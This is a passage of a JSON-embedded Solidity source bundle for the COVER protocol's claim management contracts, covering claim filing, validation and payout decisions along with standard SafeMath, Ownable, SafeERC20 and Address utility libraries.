}\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * Reverts when dividing by zero.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * Reverts with custom message when dividing by zero.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n return a % b;\n }\n}" }, "contracts/utils/Ownable.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\nimport \"../interfaces/IOwnable.sol\";\nimport \"./Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n * @author crypto-pumpkin@github\n *\n * By initialization, the owner account will be the one that called initializeOwner. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\ncontract Ownable is Initializable {\n address private _owner;\n address private _newOwner;\n\n event OwnershipTransferInitiated(address indexed previousOwner, address indexed newOwner);\n event OwnershipTransferCompleted(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev COVER: Initializes the contract setting the deployer as the initial owner.\n */\n function initializeOwner() internal initializer {\n _owner = msg.sender;\n emit OwnershipTransferCompleted(address(0), _owner);\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n emit OwnershipTransferInitiated(_owner, newOwner);\n _newOwner = newOwner;\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function claimOwnership() public virtual {\n require(_newOwner == msg.sender, \"Ownable: caller is not the owner\");\n emit OwnershipTransferCompleted(_owner, _newOwner);\n _owner = _newOwner;\n }\n}" }, "contracts/interfaces/IClaimConfig.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\nimport \"./IERC20.sol\";\n\n/**\n * @dev ClaimConfg contract interface. See {ClaimConfig}.\n * @author Alan\n */\ninterface IClaimConfig {\n function allowPartialClaim() external view returns (bool);\n function auditor() external view returns (address);\n function governance() external view returns (address);\n function treasury() external view returns (address);\n function protocolFactory() external view returns (address);\n function maxClaimDecisionWindow() external view returns (uint256);\n function baseClaimFee() external view returns (uint256);\n function forceClaimFee() external view returns (uint256);\n function feeMultiplier() external view returns (uint256);\n function feeCurrency() external view returns (IERC20);\n function getFileClaimWindow(address _protocol) external view returns (uint256);\n function isAuditorVoting() external view returns (bool);\n function getProtocolClaimFee(address _protocol) external view returns (uint256);\n \n // @notice only dev\n function setMaxClaimDecisionWindow(uint256 _newTimeWindow) external;\n function setTreasury(address _treasury) external;\n function setAuditor(address _auditor) external;\n function setPartialClaimStatus(bool _allowPartialClaim) external;\n\n // @dev Only callable by governance\n function setGovernance(address _governance) external;\n function setFeeAndCurrency(uint256 _baseClaimFee, uint256 _forceClaimFee, address _currency) external;\n function setFeeMultiplier(uint256 _multiplier) external;\n}" }, "contracts/interfaces/IProtocol.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\n/**\n * @dev Protocol contract interface. See {Protocol}.\n * @author crypto-pumpkin@github\n */\ninterface IProtocol {\n /// @notice emit when a claim against the protocol is accepted\n event ClaimAccepted(uint256 newClaimNonce);\n\n function getProtocolDetails()\n external view returns (\n bytes32 _name,\n bool _active,\n uint256 _claimNonce,\n uint256 _claimRedeemDelay,\n uint256 _noclaimRedeemDelay,\n address[] memory _collaterals,\n uint48[] memory _expirationTimestamps,\n address[] memory _allCovers,\n address[] memory _allActiveCovers\n );\n function active() external view returns (bool);\n function name() external view returns (bytes32);\n function claimNonce() external view returns (uint256);\n /// @notice delay # of seconds for redeem with accepted claim, redeemCollateral is not affected\n function claimRedeemDelay() external view returns (uint256);\n /// @notice delay # of seconds for redeem without accepted claim, redeemCollateral is not affected\n function noclaimRedeemDelay() external view returns (uint256);\n function activeCovers(uint256 _index) external view returns (address);\n function claimDetails(uint256 _claimNonce) external view returns (uint16 _payoutNumerator, uint16 _payoutDenominator, uint48 _incidentTimestamp, uint48 _timestamp);\n function collateralStatusMap(address _collateral) external view returns (uint8 _status);\n function expirationTimestampMap(uint48 _expirationTimestamp) external view returns (bytes32 _name, uint8 _status);\n function coverMap(address _collateral, uint48 _expirationTimestamp) external view returns (address);\n\n function collaterals(uint256 _index) external view returns (address);\n function collateralsLength() external view returns (uint256);\n function expirationTimestamps(uint256 _index) external view returns (uint48);\n function expirationTimestampsLength() external view returns (uint256);\n function activeCoversLength() external view returns (uint256);\n function claimsLength() external view returns (uint256);\n function addCover(address _collateral, uint48 _timestamp, uint256 _amount)\n external returns (bool);\n\n /// @notice access restriction - claimManager\n function enactClaim(uint16 _payoutNumerator, uint16 _payoutDenominator, uint48 _incidentTimestamp, uint256 _protocolNonce) external returns (bool);\n\n /// @notice access restriction - dev\n function setActive(bool _active) external returns (bool);\n function updateExpirationTimestamp(uint48 _expirationTimestamp, bytes32 _expirationTimestampName, uint8 _status) external returns (bool);\n function updateCollateral(address _collateral, uint8 _status) external returns (bool);\n\n /// @notice access restriction - governance\n function updateClaimRedeemDelay(uint256 _claimRedeemDelay) external returns (bool);\n function updateNoclaimRedeemDelay(uint256 _noclaimRedeemDelay) external returns (bool);\n}" }, "contracts/interfaces/IOwnable.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\n/**\n * @title Interface of Ownable\n */\ninterface IOwnable {\n function owner() external view returns (address);\n}\n" }, "contracts/utils/Initializable.sol": { "content": "// SPDX-License-Identifier: MIT\n\n// solhint-disable-next-line compiler-version\npragma solidity >=0.4.24 <0.8.0;\n\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n * \n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.\n * \n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n */\nabstract contract Initializable {\n\n /**\n * @dev Indicates that the contract has been initialized.\n */\n bool private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Modifier to protect an initializer function from being invoked twice.\n */\n modifier initializer() {\n require(_initializing || _isConstructor() || !_initialized, \"Initializable: contract is already initialized\");\n\n bool isTopLevelCall = !_initializing;\n if (isTopLevelCall) {\n _initializing = true;\n _initialized = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n }\n }\n\n /// @dev Returns true if and only if the function is running in the constructor\n function _isConstructor() private view returns (bool) {\n // extcodesize checks the size of the code stored in an address, and\n // address returns the current address. Since the code is still not\n // deployed when running a constructor, any checks on its code size will\n // yield zero, making it an effective way to detect if a contract is\n // under construction or not.\n address self = address(this);\n uint256 cs;\n // solhint-disable-next-line no-inline-assembly\n assembly { cs := extcodesize(self) }\n return cs == 0;\n }\n}" }, "contracts/interfaces/IERC20.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\n/**\n * @title Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n function symbol() external view returns (string memory);\n function balanceOf(address account) external view returns (uint256);\n function transfer(address recipient, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function allowance(address owner, address spender) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n function totalSupply() external view returns (uint256);\n\n function increaseAllowance(address spender, uint256 addedValue) external returns (bool);\n function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);\n}" }, "contracts/ClaimManagement.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.3;\npragma experimental ABIEncoderV2;\n\nimport \"./ClaimConfig.sol\";\nimport \"./interfaces/IProtocol.sol\";\nimport \"./interfaces/IProtocolFactory.sol\";\nimport \"./interfaces/IClaimManagement.sol\";\nimport \"./utils/SafeERC20.sol\";\n\n/**\n * @title Claim Management for claims filed for a COVER supported protocol\n * @author Alan\n */\ncontract ClaimManagement is IClaimManagement, ClaimConfig {\n using SafeERC20 for IERC20;\n using SafeMath for uint256;\n\n // protocol => nonce => Claim[]\n mapping(address => mapping(uint256 => Claim[])) public override protocolClaims;\n\n modifier onlyApprovedDecider() {\n if (isAuditorVoting()) {\n require(msg.sender == auditor, \"COVER_CM: !auditor\");\n } else {\n require(msg.sender == governance, \"COVER_CM: !governance\");\n }\n _;\n }\n\n modifier onlyWhenAuditorVoting() {\n require(isAuditorVoting(), \"COVER_CM: !isAuditorVoting\");\n _;\n }\n\n /**\n * @notice Initialize governance and treasury addresses\n * @dev Governance address cannot be set to owner address; `_auditor` can be 0.\n * @param _governance address: address of the governance account\n * @param _auditor address: address of the auditor account\n * @param _treasury address: address of the treasury account\n * @param _protocolFactory address: address of the protocol factory\n */\n constructor(address _governance, address _auditor, address _treasury, address _protocolFactory) {\n require(\n _governance != msg.sender && _governance != address(0), \n \"COVER_CC: governance cannot be owner or 0\"\n );\n require(_treasury != address(0), \"COVER_CM: treasury cannot be 0\");\n require(_protocolFactory != address(0), \"COVER_CM: protocol factory cannot be 0\");\n governance = _governance;\n auditor = _auditor;\n treasury = _treasury;\n protocolFactory = _protocolFactory;\n\n initializeOwner();\n }\n\n /**\n * @notice File a claim for a COVER-supported contract `_protocol` \n * by paying the `protocolClaimFee[_protocol]` fee\n * @dev `_incidentTimestamp` must be within the past 14 days\n * @param _protocol address: contract address of the protocol that COVER supports\n * @param _protocolName bytes32: protocol name for `_protocol`\n * @param _incidentTimestamp uint48: timestamp of the claim incident\n * \n * Emits ClaimFiled\n */ \n function fileClaim(address _protocol, bytes32 _protocolName, uint48 _incidentTimestamp) \n external \n override \n {\n require(_protocol != address(0), \"COVER_CM: protocol cannot be 0\");\n require(\n _protocol == getAddressFromFactory(_protocolName), \n \"COVER_CM: invalid protocol address\"\n );\n require(\n block.timestamp.sub(_incidentTimestamp) <= getFileClaimWindow(_protocol),\n \"COVER_CM: block.timestamp - incidentTimestamp > fileClaimWindow\"\n );\n uint256 nonce = getProtocolNonce(_protocol);\n uint256 claimFee = getProtocolClaimFee(_protocol);\n protocolClaims[_protocol][nonce].push(Claim({\n state: ClaimState.Filed,\n filedBy: msg.sender,\n payoutNumerator: 0,\n payoutDenominator: 1,\n filedTimestamp: uint48(block.timestamp),\n incidentTimestamp: _incidentTimestamp,\n decidedTimestamp: 0,\n feePaid: claimFee\n }));\n feeCurrency.safeTransferFrom(msg.sender, address(this), claimFee);\n _updateProtocolClaimFee(_protocol);\n emit ClaimFiled({\n isForced: false,\n filedBy: msg.sender,\n protocol: _protocol,\n incidentTimestamp: _incidentTimestamp,\n nonce: nonce,\n index: protocolClaims[_protocol][nonce].length - 1,\n feePaid: claimFee\n });\n }\n\n /**\n * @notice Force file a claim for a COVER-supported contract `_protocol`\n * that bypasses validateClaim by paying the `forceClaimFee` fee\n * @dev `_incidentTimestamp` must be within the past 14 days. \n * Only callable when isAuditorVoting is true\n * @param _protocol address: contract address of the protocol that COVER supports\n * @param _protocolName bytes32: protocol name for `_protocol`\n * @param _incidentTimestamp uint48: timestamp of the claim incident\n * \n * Emits ClaimFiled\n */\n function forceFileClaim(address _protocol, bytes32 _protocolName, uint48 _incidentTimestamp)\n external \n override \n onlyWhenAuditorVoting \n {\n require(_protocol != address(0), \"COVER_CM: protocol cannot be 0\");\n require(\n _protocol == getAddressFromFactory(_protocolName), \n \"COVER_CM: invalid protocol address\"\n ); \n require(\n block.timestamp.sub(_incidentTimestamp) <= getFileClaimWindow(_protocol),\n \"COVER_CM: block.timestamp - incidentTimestamp > fileClaimWindow\"\n );\n uint256 nonce = getProtocolNonce(_protocol);\n protocolClaims[_protocol][nonce].push(Claim({\n state: ClaimState.ForceFiled,\n filedBy: msg.sender,\n payoutNumerator: 0,\n payoutDenominator: 1,\n filedTimestamp: uint48(block.timestamp),\n incidentTimestamp: _incidentTimestamp,\n decidedTimestamp: 0,\n feePaid: forceClaimFee\n }));\n feeCurrency.safeTransferFrom(msg.sender, address(this), forceClaimFee);\n emit ClaimFiled({\n isForced: true,\n filedBy: msg.sender,\n protocol: _protocol,\n incidentTimestamp: _incidentTimestamp,\n nonce: nonce,\n index: protocolClaims[_protocol][nonce].length - 1,\n feePaid: forceClaimFee\n });\n }\n\n /**\n * @notice Validates whether claim will be passed to approvedDecider to decideClaim\n * @dev Only callable if isAuditorVoting is true\n * @param _protocol address: contract address of the protocol that COVER supports\n * @param _nonce uint256: nonce of the protocol\n * @param _index uint256: index of the claim\n * @param _claimIsValid bool: true if claim is valid and passed to auditor, false otherwise\n * \n * Emits ClaimValidated\n */\n function validateClaim(address _protocol, uint256 _nonce, uint256 _index, bool _claimIsValid)\n external \n override \n onlyGovernance\n onlyWhenAuditorVoting \n {\n Claim storage claim = protocolClaims[_protocol][_nonce][_index];\n require(\n _nonce == getProtocolNonce(_protocol), \n \"COVER_CM: input nonce != protocol nonce\"\n );\n require(claim.state == ClaimState.Filed, \"COVER_CM: claim not filed\");\n if (_claimIsValid) {\n claim.state = ClaimState.Validated;\n _resetProtocolClaimFee(_protocol);\n } else {\n claim.state = ClaimState.Invalidated;\n claim.decidedTimestamp = uint48(block.timestamp);\n feeCurrency.safeTransfer(treasury, claim.feePaid);\n }\n emit ClaimValidated({\n claimIsValid: _claimIsValid,\n protocol: _protocol,\n nonce: _nonce,\n index: _index\n });\n }\n\n /**\n * @notice Decide whether claim for a protocol should be accepted(will payout) or denied\n * @dev Only callable by approvedDecider\n * @param _protocol address: contract address of the protocol that COVER supports\n * @param _nonce uint256: nonce of the protocol\n * @param _index uint256: index of the claim\n * @param _claimIsAccepted bool: true if claim is accepted and will payout, otherwise false\n * @param _payoutNumerator uint256: numerator of percent payout, 0 if _claimIsAccepted = false\n * @param _payoutDenominator uint256: denominator of percent payout\n *\n * Emits ClaimDecided\n */\n function decideClaim(\n address _protocol, \n uint256 _nonce, \n uint256 _index, \n bool _claimIsAccepted, \n uint16 _payoutNumerator, \n uint16 _payoutDenominator\n ) \n external\n override \n onlyApprovedDecider\n {\n require(\n _nonce == getProtocolNonce(_protocol), \n \"COVER_CM: input nonce != protocol nonce\"\n );\n Claim storage claim = protocolClaims[_protocol][_nonce][_index];\n if (isAuditorVoting()) {\n require(\n claim.state == ClaimState.Validated || \n claim.state == ClaimState.ForceFiled, \n \"COVER_CM: claim not validated or forceFiled\"\n );\n } else {\n require(claim.state == ClaimState.Filed, \"COVER_CM: claim not filed\");\n }\n\n if (_isDecisionWindowPassed(claim)) {\n // Max decision claim window passed, claim is default to Denied\n _claimIsAccepted = false;\n }\n if (_claimIsAccepted) {\n require(_payoutNumerator > 0, \"COVER_CM: claim accepted, but payoutNumerator == 0\");\n if (allowPartialClaim) {\n require(\n _payoutNumerator <= _payoutDenominator, \n \"COVER_CM: payoutNumerator > payoutDenominator\"\n );\n } else {\n require(\n _payoutNumerator == _payoutDenominator, \n \"COVER_CM: payoutNumerator != payoutDenominator\"\n );\n }\n claim.state = ClaimState.Accepted;\n claim.payoutNumerator = _payoutNumerator;\n claim.payoutDenominator = _payoutDenominator;\n feeCurrency.safeTransfer(claim.filedBy, claim.feePaid);\n _resetProtocolClaimFee(_protocol);\n IProtocol(_protocol).enactClaim(_payoutNumerator, _payoutDenominator, claim.incidentTimestamp, _nonce);\n } else {\n require(_payoutNumerator == 0, \"COVER_CM: claim denied (default if passed window), but payoutNumerator != 0\");\n claim.state = ClaimState.Denied;\n feeCurrency.safeTransfer(treasury, claim.feePaid);\n }\n claim.decidedTimestamp = uint48(block.timestamp);\n emit ClaimDecided({\n claimIsAccepted: _claimIsAccepted, \n protocol: _protocol, \n nonce: _nonce, \n index: _index, \n payoutNumerator: _payoutNumerator, \n payoutDenominator: _payoutDenominator\n });\n }\n\n /**\n * @notice Get all claims for protocol `_protocol` and nonce `_nonce` in state `_state`\n * @param _protocol address: contract address of the protocol that COVER supports\n * @param _nonce uint256: nonce of the protocol\n * @param _state ClaimState: state of claim\n * @return all claims for protocol and nonce in given state\n */\n function getAllClaimsByState(address _protocol, uint256 _nonce, ClaimState _state)\n external \n view \n override \n returns (Claim[] memory) \n {\n Claim[] memory allClaims = protocolClaims[_protocol][_nonce];\n uint256 count;\n Claim[] memory temp = new Claim[](allClaims.length);\n for (uint i = 0; i < allClaims.length; i++) {\n if (allClaims[i].state == _state) {\n temp[count] = allClaims[i];\n count++;\n }\n }\n Claim[] memory claimsByState = new Claim[](count);\n for (uint i = 0; i < count; i++) {\n claimsByState[i] = temp[i];\n }\n return claimsByState;\n }\n\n /**\n * @notice Get all claims for protocol `_protocol` and nonce `_nonce`\n * @param _protocol address: contract address of the protocol that COVER supports\n * @param _nonce uint256: nonce of the protocol\n * @return all claims for protocol and nonce\n */\n function getAllClaimsByNonce(address _protocol, uint256 _nonce) \n external \n view \n override \n returns (Claim[] memory) \n {\n return protocolClaims[_protocol][_nonce];\n }\n\n /**\n * @notice Get the protocol address from the protocol factory\n * @param _protocolName bytes32: protocol name\n * @return address corresponding to the protocol name `_protocolName`\n */\n function getAddressFromFactory(bytes32 _protocolName) public view override returns (address) {\n return IProtocolFactory(protocolFactory).protocols(_protocolName);\n }\n\n /**\n * @notice Get the current nonce for protocol `_protocol`\n * @param _protocol address: contract address of the protocol that COVER supports\n * @return the current nonce for protocol `_protocol`\n */\n function getProtocolNonce(address _protocol) public view override returns (uint256) {\n return IProtocol(_protocol).claimNonce();\n }\n\n /**\n * The times passed since the claim was filed has to be less than the max claim decision window\n */\n function _isDecisionWindowPassed(Claim memory claim) private view returns (bool) {\n return block.timestamp.sub(claim.filedTimestamp) > maxClaimDecisionWindow.sub(1 hours);\n }\n} " }, "contracts/interfaces/IProtocolFactory.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\n/**\n * @dev ProtocolFactory contract interface. See {ProtocolFactory}.\n * @author crypto-pumpkin@github\n */\ninterface IProtocolFactory {\n /// @notice emit when a new protocol is supported in COVER\n event ProtocolInitiation(address protocolAddress);\n\n function getAllProtocolAddresses() external view returns (address[] memory);\n function getRedeemFees() external view returns (uint16 _numerator, uint16 _denominator);\n function redeemFeeNumerator() external view returns (uint16);\n function redeemFeeDenominator() external view returns (uint16);\n function protocolImplementation() external view returns (address);\n function coverImplementation() external view returns (address);\n function coverERC20Implementation() external view returns (address);\n function treasury() external view returns (address);\n function governance() external view returns (address);\n function claimManager() external view returns (address);\n function protocols(bytes32 _protocolName) external view returns (address);\n\n function getProtocolsLength() external view returns (uint256);\n function getProtocolNameAndAddress(uint256 _index) external view returns (bytes32, address);\n /// @notice return contract address, the contract may not be deployed yet\n function getProtocolAddress(bytes32 _name) external view returns (address);\n /// @notice return contract address, the contract may not be deployed yet\n function getCoverAddress(bytes32 _protocolName, uint48 _timestamp, address _collateral, uint256 _claimNonce) external view returns (address);\n /// @notice return contract address, the contract may not be deployed yet\n function getCovTokenAddress(bytes32 _protocolName, uint48 _timestamp, address _collateral, uint256 _claimNonce, bool _isClaimCovToken) external view returns (address);\n\n /// @notice access restriction - owner (dev)\n /// @dev update this will only affect contracts deployed after\n function updateProtocolImplementation(address _newImplementation) external returns (bool);\n /// @dev update this will only affect contracts deployed after\n function updateCoverImplementation(address _newImplementation) external returns (bool);\n /// @dev update this will only affect contracts deployed after\n function updateCoverERC20Implementation(address _newImplementation) external returns (bool);\n function addProtocol(\n bytes32 _name,\n bool _active,\n address _collateral,\n uint48[] calldata _timestamps,\n bytes32[] calldata _timestampNames\n ) external returns (address);\n function updateTreasury(address _address) external returns (bool);\n function updateClaimManager(address _address) external returns (bool);\n\n /// @notice access restriction - governance\n function updateFees(uint16 _redeemFeeNumerator, uint16 _redeemFeeDenominator) external returns (bool);\n function updateGovernance(address _address) external returns (bool);\n} " }, "contracts/interfaces/IClaimManagement.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\npragma experimental ABIEncoderV2;\n\n/**\n * @dev ClaimManagement contract interface. See {ClaimManagement}.\n * @author Alan\n */\n interface IClaimManagement {\n enum ClaimState { Filed, ForceFiled, Validated, Invalidated, Accepted, Denied }\n struct Claim {\n ClaimState state; // Current state of claim\n address filedBy; // Address of user who filed claim\n uint16 payoutNumerator; // Numerator of percent to payout\n uint16 payoutDenominator; // Denominator of percent to payout\n uint48 filedTimestamp; // Timestamp of submitted claim\n uint48 incidentTimestamp; // Timestamp of the incident the claim is filed for\n uint48 decidedTimestamp; // Timestamp when claim outcome is decided\n uint256 feePaid; // Fee paid to file the claim\n }\n\n function protocolClaims(address _protocol, uint256 _nonce, uint256 _index) external view returns ( \n ClaimState state,\n address filedBy,\n uint16 payoutNumerator,\n uint16 payoutDenominator,\n uint48 filedTimestamp,\n uint48 incidentTimestamp,\n uint48 decidedTimestamp,\n uint256 feePaid\n );\n \n function fileClaim(address _protocol, bytes32 _protocolName, uint48 _incidentTimestamp) external;\n function forceFileClaim(address _protocol, bytes32 _protocolName, uint48 _incidentTimestamp) external;\n \n // @dev Only callable by owner when auditor is voting\n function validateClaim(address _protocol, uint256 _nonce, uint256 _index, bool _claimIsValid) external;\n\n // @dev Only callable by approved decider, governance or auditor (isAuditorVoting == true)\n function decideClaim(address _protocol, uint256 _nonce, uint256 _index, bool _claimIsAccepted, uint16 _payoutNumerator, uint16 _payoutDenominator) external;\n\n function getAllClaimsByState(address _protocol, uint256 _nonce, ClaimState _state) external view returns (Claim[] memory);\n function getAllClaimsByNonce(address _protocol, uint256 _nonce) external view returns (Claim[] memory);\n function getAddressFromFactory(bytes32 _protocolName) external view returns (address);\n function getProtocolNonce(address _protocol) external view returns (uint256);\n \n event ClaimFiled(\n bool indexed isForced,\n address indexed filedBy, \n address indexed protocol, \n uint48 incidentTimestamp,\n uint256 nonce, \n uint256 index, \n uint256 feePaid\n );\n event ClaimValidated(\n bool indexed claimIsValid,\n address indexed protocol, \n uint256 nonce, \n uint256 index\n );\n event ClaimDecided(\n bool indexed claimIsAccepted,\n address indexed protocol, \n uint256 nonce, \n uint256 index, \n uint16 payoutNumerator, \n uint16 payoutDenominator\n );\n }" }, "contracts/utils/SafeERC20.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\nimport \"../interfaces/IERC20.sol\";\nimport \"./SafeMath.sol\";\nimport \"./Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using SafeMath for uint256;\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n // solhint-disable-next-line max-line-length\n require((value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 newAllowance = token.allowance(address(this), spender).add(value);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 newAllowance = token.allowance(address(this), spender).sub(value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) { // Return data is optional\n // solhint-disable-next-line max-line-length\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}" }, "contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // According to EIP-1052, 0x0 is the value returned for not-yet created accounts\n // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned\n // for accounts without code, i.e. `keccak256('')`\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n // solhint-disable-next-line no-inline-assembly\n assembly { codehash := extcodehash(account) }\n return (codehash != accountHash && codehash != 0x0);\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\n (bool success, ) = recipient.call{ value: amount }(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain`call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n return _functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n 